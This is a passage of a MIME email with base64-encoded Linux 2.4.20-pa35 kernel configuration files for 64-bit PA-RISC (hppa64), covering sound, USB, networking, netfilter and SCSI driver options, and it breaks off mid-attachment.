R19TT1VORF9DUzQyODEgaXMgbm90IHNldA0KIyBDT05GSUdfU09VTkRfRVMx
MzcwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NPVU5EX0VTMTM3MSBpcyBub3Qg
c2V0DQojIENPTkZJR19TT1VORF9FU1NTT0xPMSBpcyBub3Qgc2V0DQojIENP
TkZJR19TT1VORF9NQUVTVFJPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NPVU5E
X01BRVNUUk8zIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NPVU5EX0ZPUlRFIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NPVU5EX0lDSCBpcyBub3Qgc2V0DQpDT05G
SUdfU09VTkRfSEFSTU9OWT1tDQojIENPTkZJR19TT1VORF9STUU5NlhYIGlz
IG5vdCBzZXQNCiMgQ09ORklHX1NPVU5EX1NPTklDVklCRVMgaXMgbm90IHNl
dA0KIyBDT05GSUdfU09VTkRfVFJJREVOVCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TT1VORF9NU05EQ0xBUyBpcyBub3Qgc2V0DQojIENPTkZJR19TT1VORF9N
U05EUElOIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NPVU5EX1ZJQTgyQ1hYWCBp
cyBub3Qgc2V0DQojIENPTkZJR19NSURJX1ZJQTgyQ1hYWCBpcyBub3Qgc2V0
DQojIENPTkZJR19TT1VORF9PU1MgaXMgbm90IHNldA0KIyBDT05GSUdfU09V
TkRfVFZNSVhFUiBpcyBub3Qgc2V0DQoNCiMNCiMgVVNCIHN1cHBvcnQNCiMN
CkNPTkZJR19VU0I9eQ0KIyBDT05GSUdfVVNCX0RFQlVHIGlzIG5vdCBzZXQN
CkNPTkZJR19VU0JfREVWSUNFRlM9eQ0KIyBDT05GSUdfVVNCX0JBTkRXSURU
SCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfTE9OR19USU1FT1VUIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9FSENJX0hDRCBpcyBub3Qgc2V0DQojIENP
TkZJR19VU0JfVUhDSSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfVUhDSV9B
TFQgaXMgbm90IHNldA0KQ09ORklHX1VTQl9PSENJPXkNCiMgQ09ORklHX1VT
Ql9BVURJTyBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfRU1JMjYgaXMgbm90
IHNldA0KIyBDT05GSUdfVVNCX0JMVUVUT09USCBpcyBub3Qgc2V0DQojIENP
TkZJR19VU0JfTUlESSBpcyBub3Qgc2V0DQpDT05GSUdfVVNCX1NUT1JBR0U9
bQ0KIyBDT05GSUdfVVNCX1NUT1JBR0VfREVCVUcgaXMgbm90IHNldA0KIyBD
T05GSUdfVVNCX1NUT1JBR0VfREFUQUZBQiBpcyBub3Qgc2V0DQojIENPTkZJ
R19VU0JfU1RPUkFHRV9GUkVFQ09NIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VT
Ql9TVE9SQUdFX0lTRDIwMCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfU1RP
UkFHRV9EUENNIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFX0hQ
ODIwMGUgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX1NUT1JBR0VfU0REUjA5
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1VTQl9TVE9SQUdFX1NERFI1NSBpcyBu
b3Qgc2V0DQojIENPTkZJR19VU0JfU1RPUkFHRV9KVU1QU0hPVCBpcyBub3Qg
c2V0DQpDT05GSUdfVVNCX0FDTT1tDQpDT05GSUdfVVNCX1BSSU5URVI9bQ0K
IyBDT05GSUdfVVNCX0hJRCBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfSElE
SU5QVVQgaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX0hJRERFViBpcyBub3Qg
c2V0DQojIENPTkZJR19VU0JfS0JEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1VT
Ql9NT1VTRSBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfQUlQVEVLIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1VTQl9XQUNPTSBpcyBub3Qgc2V0DQojIENPTkZJ
R19VU0JfREMyWFggaXMgbm90IHNldA0KIyBDT05GSUdfVVNCX01EQzgwMCBp
cyBub3Qgc2V0DQpDT05GSUdfVVNCX1NDQU5ORVI9bQ0KQ09ORklHX1VTQl9N
SUNST1RFSz1tDQpDT05GSUdfVVNCX0hQVVNCU0NTST1tDQpDT05GSUdfVVNC
X1BFR0FTVVM9bQ0KQ09ORklHX1VTQl9SVEw4MTUwPW0NCkNPTkZJR19VU0Jf
S0FXRVRIPW0NCkNPTkZJR19VU0JfQ0FUQz1tDQpDT05GSUdfVVNCX0NEQ0VU
SEVSPW0NCkNPTkZJR19VU0JfVVNCTkVUPW0NCiMgQ09ORklHX1VTQl9VU1M3
MjAgaXMgbm90IHNldA0KDQojDQojIFVTQiBTZXJpYWwgQ29udmVydGVyIHN1
cHBvcnQNCiMNCiMgQ09ORklHX1VTQl9TRVJJQUwgaXMgbm90IHNldA0KIyBD
T05GSUdfVVNCX1JJTzUwMCBpcyBub3Qgc2V0DQpDT05GSUdfVVNCX0FVRVJT
V0FMRD1tDQojIENPTkZJR19VU0JfVElHTCBpcyBub3Qgc2V0DQojIENPTkZJ
R19VU0JfQlJMVkdFUiBpcyBub3Qgc2V0DQojIENPTkZJR19VU0JfTENEIGlz
IG5vdCBzZXQNCg0KIw0KIyBLZXJuZWwgaGFja2luZw0KIw0KIyBDT05GSUdf
TUFHSUNfU1lTUlEgaXMgbm90IHNldA0KIyBDT05GSUdfREVCVUdfU1BJTkxP
Q0sgaXMgbm90IHNldA0KDQojDQojIExpYnJhcnkgcm91dGluZXMNCiMNCkNP
TkZJR19aTElCX0lORkxBVEU9eQ0KQ09ORklHX1pMSUJfREVGTEFURT15DQo=
---275789367-1590063830-1054585206=:1415
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="config-2.4.20-pa35-64"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.44.0306022120061.1415@sal.ucc.ie>
Content-Description: hppa64-gcc-3.2.3 and 64bit (32bit PDC) 2.4.20-pa35
Content-Disposition: attachment; filename="config-2.4.20-pa35-64"

Iw0KIyBBdXRvbWF0aWNhbGx5IGdlbmVyYXRlZCBieSBtYWtlIG1lbnVjb25m
aWc6IGRvbid0IGVkaXQNCiMNCkNPTkZJR19QQVJJU0M9eQ0KIyBDT05GSUdf
VUlEMTYgaXMgbm90IHNldA0KQ09ORklHX1JXU0VNX0dFTkVSSUNfU1BJTkxP
Q0s9eQ0KIyBDT05GSUdfUldTRU1fWENIR0FERF9BTEdPUklUSE0gaXMgbm90
IHNldA0KDQojDQojIENvZGUgbWF0dXJpdHkgbGV2ZWwgb3B0aW9ucw0KIw0K
Q09ORklHX0VYUEVSSU1FTlRBTD15DQoNCiMNCiMgTG9hZGFibGUgbW9kdWxl
IHN1cHBvcnQNCiMNCkNPTkZJR19NT0RVTEVTPXkNCkNPTkZJR19NT0RWRVJT
SU9OUz15DQpDT05GSUdfS01PRD15DQoNCiMNCiMgUHJvY2Vzc29yIHR5cGUN
CiMNCiMgQ09ORklHX1BBNzEwMCBpcyBub3Qgc2V0DQojIENPTkZJR19QQTcy
MDAgaXMgbm90IHNldA0KIyBDT05GSUdfUEE3MTAwTEMgaXMgbm90IHNldA0K
Q09ORklHX1BBOFgwMD15DQpDT05GSUdfUEEyMD15DQpDT05GSUdfUEFSSVND
NjQ9eQ0KQ09ORklHX1BEQ19OQVJST1c9eQ0KDQojDQojIEdlbmVyYWwgb3B0
aW9ucw0KIw0KIyBDT05GSUdfU01QIGlzIG5vdCBzZXQNCkNPTkZJR19DSEFT
U0lTX0xDRF9MRUQ9eQ0KQ09ORklHX0lPTU1VX0NDSU89eQ0KQ09ORklHX0dT
Qz15DQpDT05GSUdfR1NDX0xBU0k9eQ0KIyBDT05GSUdfR1NDX1dBWCBpcyBu
b3Qgc2V0DQojIENPTkZJR19FSVNBIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lT
QSBpcyBub3Qgc2V0DQpDT05GSUdfUENJPXkNCkNPTkZJR19HU0NfRElOTz15
DQojIENPTkZJR19QQ0lfTEJBIGlzIG5vdCBzZXQNCiMgQ09ORklHX0lPU0FQ
SUMgaXMgbm90IHNldA0KIyBDT05GSUdfSU9NTVVfU0JBIGlzIG5vdCBzZXQN
CkNPTkZJR19TVVBFUklPPXkNCkNPTkZJR19QQ0lfTkFNRVM9eQ0KDQojDQoj
IEdlbmVyYWwgc2V0dXANCiMNCkNPTkZJR19IT1RQTFVHPXkNCg0KIw0KIyBQ
Q01DSUEvQ2FyZEJ1cyBzdXBwb3J0DQojDQpDT05GSUdfUENNQ0lBPXkNCiMg
Q09ORklHX0NBUkRCVVMgaXMgbm90IHNldA0KIyBDT05GSUdfVENJQyBpcyBu
b3Qgc2V0DQojIENPTkZJR19JODIwOTIgaXMgbm90IHNldA0KIyBDT05GSUdf
STgyMzY1IGlzIG5vdCBzZXQNCg0KIw0KIyBQQ0kgSG90cGx1ZyBTdXBwb3J0
DQojDQojIENPTkZJR19IT1RQTFVHX1BDSSBpcyBub3Qgc2V0DQojIENPTkZJ
R19IT1RQTFVHX1BDSV9DT01QQVEgaXMgbm90IHNldA0KIyBDT05GSUdfSE9U
UExVR19QQ0lfQ09NUEFRX05WUkFNIGlzIG5vdCBzZXQNCiMgQ09ORklHX0hP
VFBMVUdfUENJX0FDUEkgaXMgbm90IHNldA0KQ09ORklHX05FVD15DQpDT05G
SUdfU1lTVklQQz15DQojIENPTkZJR19CU0RfUFJPQ0VTU19BQ0NUIGlzIG5v
dCBzZXQNCkNPTkZJR19TWVNDVEw9eQ0KQ09ORklHX0tDT1JFX0VMRj15DQpD
T05GSUdfQklORk1UX0VMRj15DQpDT05GSUdfQklORk1UX1NPTT1tDQpDT05G
SUdfQklORk1UX01JU0M9bQ0KIyBDT05GSUdfUE0gaXMgbm90IHNldA0KDQoj
DQojIFBhcmFsbGVsIHBvcnQgc3VwcG9ydA0KIw0KQ09ORklHX1BBUlBPUlQ9
eQ0KQ09ORklHX1BBUlBPUlRfUEM9eQ0KQ09ORklHX1BBUlBPUlRfUENfQ01M
MT15DQojIENPTkZJR19QQVJQT1JUX1NFUklBTCBpcyBub3Qgc2V0DQojIENP
TkZJR19QQVJQT1JUX1BDX0ZJRk8gaXMgbm90IHNldA0KIyBDT05GSUdfUEFS
UE9SVF9QQ19TVVBFUklPIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BBUlBPUlRf
UENfUENNQ0lBIGlzIG5vdCBzZXQNCiMgQ09ORklHX1BBUlBPUlRfQU1JR0Eg
aXMgbm90IHNldA0KIyBDT05GSUdfUEFSUE9SVF9NRkMzIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1BBUlBPUlRfQVRBUkkgaXMgbm90IHNldA0KQ09ORklHX1BB
UlBPUlRfR1NDPXkNCiMgQ09ORklHX1BBUlBPUlRfU1VOQlBQIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1BBUlBPUlRfT1RIRVIgaXMgbm90IHNldA0KIyBDT05G
SUdfUEFSUE9SVF8xMjg0IGlzIG5vdCBzZXQNCg0KIw0KIyBCbG9jayBkZXZp
Y2VzDQojDQojIENPTkZJR19CTEtfREVWX0ZEIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0JMS19ERVZfWEQgaXMgbm90IHNldA0KIyBDT05GSUdfUEFSSURFIGlz
IG5vdCBzZXQNCiMgQ09ORklHX0JMS19DUFFfREEgaXMgbm90IHNldA0KIyBD
T05GSUdfQkxLX0NQUV9DSVNTX0RBIGlzIG5vdCBzZXQNCiMgQ09ORklHX0NJ
U1NfU0NTSV9UQVBFIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfREFD
OTYwIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfVU1FTSBpcyBub3Qg
c2V0DQpDT05GSUdfQkxLX0RFVl9MT09QPXkNCkNPTkZJR19CTEtfREVWX05C
RD1tDQpDT05GSUdfQkxLX0RFVl9SQU09bQ0KQ09ORklHX0JMS19ERVZfUkFN
X1NJWkU9NDA5Ng0KIyBDT05GSUdfQkxLX0RFVl9JTklUUkQgaXMgbm90IHNl
dA0KIyBDT05GSUdfQkxLX1NUQVRTIGlzIG5vdCBzZXQNCg0KIw0KIyBNdWx0
aS1kZXZpY2Ugc3VwcG9ydCAoUkFJRCBhbmQgTFZNKQ0KIw0KIyBDT05GSUdf
TUQgaXMgbm90IHNldA0KIyBDT05GSUdfQkxLX0RFVl9NRCBpcyBub3Qgc2V0
DQojIENPTkZJR19NRF9MSU5FQVIgaXMgbm90IHNldA0KIyBDT05GSUdfTURf
UkFJRDAgaXMgbm90IHNldA0KIyBDT05GSUdfTURfUkFJRDEgaXMgbm90IHNl
dA0KIyBDT05GSUdfTURfUkFJRDUgaXMgbm90IHNldA0KIyBDT05GSUdfTURf
TVVMVElQQVRIIGlzIG5vdCBzZXQNCiMgQ09ORklHX0JMS19ERVZfTFZNIGlz
IG5vdCBzZXQNCg0KIw0KIyBOZXR3b3JraW5nIG9wdGlvbnMNCiMNCkNPTkZJ
R19QQUNLRVQ9eQ0KQ09ORklHX1BBQ0tFVF9NTUFQPXkNCkNPTkZJR19ORVRM
SU5LX0RFVj15DQpDT05GSUdfTkVURklMVEVSPXkNCiMgQ09ORklHX05FVEZJ
TFRFUl9ERUJVRyBpcyBub3Qgc2V0DQpDT05GSUdfRklMVEVSPXkNCkNPTkZJ
R19VTklYPXkNCkNPTkZJR19JTkVUPXkNCkNPTkZJR19JUF9NVUxUSUNBU1Q9
eQ0KIyBDT05GSUdfSVBfQURWQU5DRURfUk9VVEVSIGlzIG5vdCBzZXQNCiMg
Q09ORklHX0lQX1BOUCBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX0lQSVA9bQ0K
Q09ORklHX05FVF9JUEdSRT1tDQpDT05GSUdfTkVUX0lQR1JFX0JST0FEQ0FT
VD15DQpDT05GSUdfSVBfTVJPVVRFPXkNCkNPTkZJR19JUF9QSU1TTV9WMT15
DQpDT05GSUdfSVBfUElNU01fVjI9eQ0KIyBDT05GSUdfQVJQRCBpcyBub3Qg
c2V0DQpDT05GSUdfSU5FVF9FQ049eQ0KQ09ORklHX1NZTl9DT09LSUVTPXkN
Cg0KIw0KIyAgIElQOiBOZXRmaWx0ZXIgQ29uZmlndXJhdGlvbg0KIw0KQ09O
RklHX0lQX05GX0NPTk5UUkFDSz1tDQpDT05GSUdfSVBfTkZfRlRQPW0NCkNP
TkZJR19JUF9ORl9JUkM9bQ0KQ09ORklHX0lQX05GX1FVRVVFPW0NCkNPTkZJ
R19JUF9ORl9JUFRBQkxFUz1tDQpDT05GSUdfSVBfTkZfTUFUQ0hfTElNSVQ9
bQ0KQ09ORklHX0lQX05GX01BVENIX01BQz1tDQpDT05GSUdfSVBfTkZfTUFU
Q0hfUEtUVFlQRT1tDQpDT05GSUdfSVBfTkZfTUFUQ0hfTUFSSz1tDQpDT05G
SUdfSVBfTkZfTUFUQ0hfTVVMVElQT1JUPW0NCkNPTkZJR19JUF9ORl9NQVRD
SF9UT1M9bQ0KQ09ORklHX0lQX05GX01BVENIX0VDTj1tDQpDT05GSUdfSVBf
TkZfTUFUQ0hfRFNDUD1tDQpDT05GSUdfSVBfTkZfTUFUQ0hfQUhfRVNQPW0N
CkNPTkZJR19JUF9ORl9NQVRDSF9MRU5HVEg9bQ0KQ09ORklHX0lQX05GX01B
VENIX1RUTD1tDQpDT05GSUdfSVBfTkZfTUFUQ0hfVENQTVNTPW0NCkNPTkZJ
R19JUF9ORl9NQVRDSF9IRUxQRVI9bQ0KQ09ORklHX0lQX05GX01BVENIX1NU
QVRFPW0NCkNPTkZJR19JUF9ORl9NQVRDSF9DT05OVFJBQ0s9bQ0KQ09ORklH
X0lQX05GX01BVENIX1VOQ0xFQU49bQ0KQ09ORklHX0lQX05GX01BVENIX09X
TkVSPW0NCkNPTkZJR19JUF9ORl9GSUxURVI9bQ0KQ09ORklHX0lQX05GX1RB
UkdFVF9SRUpFQ1Q9bQ0KQ09ORklHX0lQX05GX1RBUkdFVF9NSVJST1I9bQ0K
Q09ORklHX0lQX05GX05BVD1tDQpDT05GSUdfSVBfTkZfTkFUX05FRURFRD15
DQpDT05GSUdfSVBfTkZfVEFSR0VUX01BU1FVRVJBREU9bQ0KQ09ORklHX0lQ
X05GX1RBUkdFVF9SRURJUkVDVD1tDQpDT05GSUdfSVBfTkZfTkFUX0xPQ0FM
PXkNCkNPTkZJR19JUF9ORl9OQVRfU05NUF9CQVNJQz1tDQpDT05GSUdfSVBf
TkZfTkFUX0lSQz1tDQpDT05GSUdfSVBfTkZfTkFUX0ZUUD1tDQpDT05GSUdf
SVBfTkZfTUFOR0xFPW0NCkNPTkZJR19JUF9ORl9UQVJHRVRfVE9TPW0NCkNP
TkZJR19JUF9ORl9UQVJHRVRfRUNOPW0NCkNPTkZJR19JUF9ORl9UQVJHRVRf
RFNDUD1tDQpDT05GSUdfSVBfTkZfVEFSR0VUX01BUks9bQ0KQ09ORklHX0lQ
X05GX1RBUkdFVF9MT0c9bQ0KQ09ORklHX0lQX05GX1RBUkdFVF9VTE9HPW0N
CkNPTkZJR19JUF9ORl9UQVJHRVRfVENQTVNTPW0NCkNPTkZJR19JUF9ORl9B
UlBUQUJMRVM9bQ0KQ09ORklHX0lQX05GX0FSUEZJTFRFUj1tDQpDT05GSUdf
SVBfTkZfQ09NUEFUX0lQQ0hBSU5TPW0NCkNPTkZJR19JUF9ORl9OQVRfTkVF
REVEPXkNCkNPTkZJR19JUF9ORl9DT01QQVRfSVBGV0FETT1tDQpDT05GSUdf
SVBfTkZfTkFUX05FRURFRD15DQpDT05GSUdfSVBWNj1tDQoNCiMNCiMgICBJ
UHY2OiBOZXRmaWx0ZXIgQ29uZmlndXJhdGlvbg0KIw0KQ09ORklHX0lQNl9O
Rl9RVUVVRT1tDQpDT05GSUdfSVA2X05GX0lQVEFCTEVTPW0NCkNPTkZJR19J
UDZfTkZfTUFUQ0hfTElNSVQ9bQ0KQ09ORklHX0lQNl9ORl9NQVRDSF9NQUM9
bQ0KQ09ORklHX0lQNl9ORl9NQVRDSF9NVUxUSVBPUlQ9bQ0KQ09ORklHX0lQ
Nl9ORl9NQVRDSF9PV05FUj1tDQpDT05GSUdfSVA2X05GX01BVENIX01BUks9
bQ0KQ09ORklHX0lQNl9ORl9NQVRDSF9MRU5HVEg9bQ0KQ09ORklHX0lQNl9O
Rl9NQVRDSF9FVUk2ND1tDQpDT05GSUdfSVA2X05GX0ZJTFRFUj1tDQpDT05G
SUdfSVA2X05GX1RBUkdFVF9MT0c9bQ0KQ09ORklHX0lQNl9ORl9NQU5HTEU9
bQ0KQ09ORklHX0lQNl9ORl9UQVJHRVRfTUFSSz1tDQojIENPTkZJR19LSFRU
UEQgaXMgbm90IHNldA0KIyBDT05GSUdfQVRNIGlzIG5vdCBzZXQNCkNPTkZJ
R19WTEFOXzgwMjFRPW0NCkNPTkZJR19JUFg9bQ0KQ09ORklHX0lQWF9JTlRF
Uk49eQ0KIyBDT05GSUdfQVRBTEsgaXMgbm90IHNldA0KDQojDQojIEFwcGxl
dGFsayBkZXZpY2VzDQojDQojIENPTkZJR19ERVZfQVBQTEVUQUxLIGlzIG5v
dCBzZXQNCiMgQ09ORklHX0RFQ05FVCBpcyBub3Qgc2V0DQpDT05GSUdfQlJJ
REdFPXkNCiMgQ09ORklHX1gyNSBpcyBub3Qgc2V0DQojIENPTkZJR19MQVBC
IGlzIG5vdCBzZXQNCiMgQ09ORklHX0xMQyBpcyBub3Qgc2V0DQpDT05GSUdf
TkVUX0RJVkVSVD15DQojIENPTkZJR19FQ09ORVQgaXMgbm90IHNldA0KIyBD
T05GSUdfV0FOX1JPVVRFUiBpcyBub3Qgc2V0DQojIENPTkZJR19ORVRfRkFT
VFJPVVRFIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9IV19GTE9XQ09OVFJP
TCBpcyBub3Qgc2V0DQoNCiMNCiMgUW9TIGFuZC9vciBmYWlyIHF1ZXVlaW5n
DQojDQojIENPTkZJR19ORVRfU0NIRUQgaXMgbm90IHNldA0KDQojDQojIE5l
dHdvcmsgdGVzdGluZw0KIw0KIyBDT05GSUdfTkVUX1BLVEdFTiBpcyBub3Qg
c2V0DQoNCiMNCiMgQVRBL0lERS9NRk0vUkxMIHN1cHBvcnQNCiMNCiMgQ09O
RklHX0lERSBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0lERV9NT0RF
UyBpcyBub3Qgc2V0DQojIENPTkZJR19CTEtfREVWX0hEIGlzIG5vdCBzZXQN
Cg0KIw0KIyBTQ1NJIHN1cHBvcnQNCiMNCkNPTkZJR19TQ1NJPXkNCkNPTkZJ
R19CTEtfREVWX1NEPXkNCkNPTkZJR19TRF9FWFRSQV9ERVZTPTQwDQpDT05G
SUdfQ0hSX0RFVl9TVD1tDQojIENPTkZJR19DSFJfREVWX09TU1QgaXMgbm90
IHNldA0KQ09ORklHX0JMS19ERVZfU1I9bQ0KQ09ORklHX0JMS19ERVZfU1Jf
VkVORE9SPXkNCkNPTkZJR19TUl9FWFRSQV9ERVZTPTINCkNPTkZJR19DSFJf
REVWX1NHPXkNCiMgQ09ORklHX1NDU0lfREVCVUdfUVVFVUVTIGlzIG5vdCBz
ZXQNCkNPTkZJR19TQ1NJX01VTFRJX0xVTj15DQojIENPTkZJR19TQ1NJX0NP
TlNUQU5UUyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0xPR0dJTkcgaXMg
bm90IHNldA0KDQojDQojIFNDU0kgbG93LWxldmVsIGRyaXZlcnMNCiMNCiMg
Q09ORklHX0JMS19ERVZfM1dfWFhYWF9SQUlEIGlzIG5vdCBzZXQNCiMgQ09O
RklHX1NDU0lfNzAwMEZBU1NUIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lf
QUNBUkQgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9BSEExNTJYIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfQUhBMTU0MiBpcyBub3Qgc2V0DQojIENP
TkZJR19TQ1NJX0FIQTE3NDAgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9B
QUNSQUlEIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQUlDN1hYWCBpcyBu
b3Qgc2V0DQojIENPTkZJR19TQ1NJX0FJQzdYWFhfT0xEIGlzIG5vdCBzZXQN
CiMgQ09ORklHX1NDU0lfRFBUX0kyTyBpcyBub3Qgc2V0DQojIENPTkZJR19T
Q1NJX0FEVkFOU1lTIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfSU4yMDAw
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQU01M0M5NzQgaXMgbm90IHNl
dA0KIyBDT05GSUdfU0NTSV9NRUdBUkFJRCBpcyBub3Qgc2V0DQojIENPTkZJ
R19TQ1NJX0JVU0xPR0lDIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfQ1BR
RkNUUyBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0RNWDMxOTFEIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfRFRDMzI4MCBpcyBub3Qgc2V0DQojIENP
TkZJR19TQ1NJX0VBVEEgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9FQVRB
X0RNQSBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX0VBVEFfUElPIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfRlVUVVJFX0RPTUFJTiBpcyBub3Qgc2V0
DQojIENPTkZJR19TQ1NJX0dEVEggaXMgbm90IHNldA0KIyBDT05GSUdfU0NT
SV9HRU5FUklDX05DUjUzODAgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9J
TklUSU8gaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9JTklBMTAwIGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfUFBBIGlzIG5vdCBzZXQNCiMgQ09ORklH
X1NDU0lfSU1NIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfTkNSNTNDNDA2
QSBpcyBub3Qgc2V0DQpDT05GSUdfU0NTSV9MQVNJNzAwPXkNCkNPTkZJR181
M0M3MDBfTUVNX01BUFBFRD15DQpDT05GSUdfNTNDNzAwX0xFX09OX0JFPXkN
CkNPTkZJR181M0M3MDBfVVNFX0NPTlNJU1RFTlQ9eQ0KIyBDT05GSUdfU0NT
SV9OQ1I1M0M3eHggaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9TWU01M0M4
WFhfMiBpcyBub3Qgc2V0DQojIENPTkZJR19BU0tfWkFMT04gaXMgbm90IHNl
dA0KIyBDT05GSUdfQVNLX05DUjUzQzhYWCBpcyBub3Qgc2V0DQojIENPTkZJ
R19BU0tfU1lNNTNDOFhYIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfWkFM
T04gaXMgbm90IHNldA0KQ09ORklHX1NDU0lfU1lNNTNDOFhYPXkNCkNPTkZJ
R19BU0tfU1lNNTNDOFhYPXkNCkNPTkZJR19TQ1NJX05DUjUzQzhYWF9ERUZB
VUxUX1RBR1M9NA0KQ09ORklHX1NDU0lfTkNSNTNDOFhYX01BWF9UQUdTPTMy
DQpDT05GSUdfU0NTSV9OQ1I1M0M4WFhfU1lOQz0yMA0KIyBDT05GSUdfU0NT
SV9OQ1I1M0M4WFhfUFJPRklMRSBpcyBub3Qgc2V0DQpDT05GSUdfU0NTSV9O
Q1I1M0M4WFhfSU9NQVBQRUQ9eQ0KQ09ORklHX1NDU0lfTkNSNTNDOFhYX1BR
U19QRFM9eQ0KQ09ORklHX1NDU0lfTkNSNTNDOFhYX1NZTUJJT1NfQ09NUEFU
PXkNCiMgQ09ORklHX1NDU0lfUEFTMTYgaXMgbm90IHNldA0KIyBDT05GSUdf
U0NTSV9QQ0kyMDAwIGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfUENJMjIy
MEkgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9QU0kyNDBJIGlzIG5vdCBz
ZXQNCiMgQ09ORklHX1NDU0lfUUxPR0lDX0ZBUyBpcyBub3Qgc2V0DQojIENP
TkZJR19TQ1NJX1FMT0dJQ19JU1AgaXMgbm90IHNldA0KIyBDT05GSUdfU0NT
SV9RTE9HSUNfRkMgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9RTE9HSUNf
MTI4MCBpcyBub3Qgc2V0DQojIENPTkZJR19TQ1NJX1FMT0dJQ19RTEEyWFhY
IGlzIG5vdCBzZXQNCiMgQ09ORklHX1NDU0lfUUxPR0lDX1FMQTIxMDAgaXMg
bm90IHNldA0KIyBDT05GSUdfU0NTSV9TSU03MTAgaXMgbm90IHNldA0KIyBD
T05GSUdfU0NTSV9TWU01M0M0MTYgaXMgbm90IHNldA0KIyBDT05GSUdfU0NT
SV9EQzM5MFQgaXMgbm90IHNldA0KIyBDT05GSUdfU0NTSV9UMTI4IGlzIG5v
dCBzZXQNCiMgQ09ORklHX1NDU0lfVTE0XzM0RiBpcyBub3Qgc2V0DQojIENP
TkZJR19TQ1NJX0RFQlVHIGlzIG5vdCBzZXQNCg0KIw0KIyBQQ01DSUEgU0NT
SSBhZGFwdGVyIHN1cHBvcnQNCiMNCiMgQ09ORklHX1NDU0lfUENNQ0lBIGlz
IG5vdCBzZXQNCg0KIw0KIyBOZXR3b3JrIGRldmljZSBzdXBwb3J0DQojDQpD
T05GSUdfTkVUREVWSUNFUz15DQoNCiMNCiMgQVJDbmV0IGRldmljZXMNCiMN
CiMgQ09ORklHX0FSQ05FVCBpcyBub3Qgc2V0DQpDT05GSUdfRFVNTVk9bQ0K
Q09ORklHX0JPTkRJTkc9bQ0KIyBDT05GSUdfRVFVQUxJWkVSIGlzIG5vdCBz
ZXQNCkNPTkZJR19UVU49eQ0KIyBDT05GSUdfRVRIRVJUQVAgaXMgbm90IHNl
dA0KDQojDQojIEV0aGVybmV0ICgxMCBvciAxMDBNYml0KQ0KIw0KQ09ORklH
X05FVF9FVEhFUk5FVD15DQpDT05GSUdfTEFTSV84MjU5Nj15DQojIENPTkZJ
R19TVU5MQU5DRSBpcyBub3Qgc2V0DQojIENPTkZJR19IQVBQWU1FQUwgaXMg
bm90IHNldA0KIyBDT05GSUdfU1VOQk1BQyBpcyBub3Qgc2V0DQojIENPTkZJ
R19TVU5RRSBpcyBub3Qgc2V0DQojIENPTkZJR19TVU5HRU0gaXMgbm90IHNl
dA0KIyBDT05GSUdfTkVUX1ZFTkRPUl8zQ09NIGlzIG5vdCBzZXQNCiMgQ09O
RklHX0xBTkNFIGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9WRU5ET1JfU01D
IGlzIG5vdCBzZXQNCiMgQ09ORklHX05FVF9WRU5ET1JfUkFDQUwgaXMgbm90
IHNldA0KIyBDT05GSUdfSFAxMDAgaXMgbm90IHNldA0KIyBDT05GSUdfTkVU
X0lTQSBpcyBub3Qgc2V0DQpDT05GSUdfTkVUX1BDST15DQojIENPTkZJR19Q
Q05FVDMyIGlzIG5vdCBzZXQNCiMgQ09ORklHX0FEQVBURUNfU1RBUkZJUkUg
aXMgbm90IHNldA0KIyBDT05GSUdfQVBSSUNPVCBpcyBub3Qgc2V0DQojIENP
